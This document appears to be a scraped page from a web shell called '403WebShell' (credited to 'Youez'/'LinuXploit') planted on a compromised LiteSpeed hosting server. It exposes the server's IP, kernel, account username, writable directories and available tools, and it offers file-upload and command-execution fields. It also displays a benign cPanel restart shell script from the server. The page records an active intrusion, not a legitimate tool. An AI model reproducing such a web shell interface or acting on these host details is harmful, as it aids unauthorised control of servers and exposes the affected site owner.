Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.135.206.19
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/admin/misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/admin/misc/cpanel_restart_httpd.in
#!/bin/sh
LS_PID=""
LS_CONF=%LSWS_HOME%/conf/httpd_config.xml


if [ "x$1" == "x--restart" ] || [ "x$1" == "x" ]; then

    if [ -f '/tmp/lshttpd/lshttpd.pid' ]; then
        LSPID=`cat /tmp/lshttpd/lshttpd.pid`
        kill -0 $LSPID
        if [ $? -eq 0 ]; then
            touch /var/run/restartsrv_httpd.lock
            service lsws restart
            unlink /var/run/restartsrv_httpd.lock
        fi
    fi
    PORT_OFFSET_CONF=`grep apachePortOffset "$LS_CONF"`
    PORT_OFFSET=`expr "$PORT_OFFSET_CONF" : '.*<apachePortOffset>\(.*\)</apachePortOffset>'`
    if [ "x$PORT_OFFSET" != 'x' ] && [ "$PORT_OFFSET" -ne 0 ]; then
        /scripts/restartsrv_httpd_ls_bak $@
    fi
else
    /scripts/restartsrv_httpd_ls_bak $@
fi


Youez - 2016 - github.com/yon3zu
LinuXploit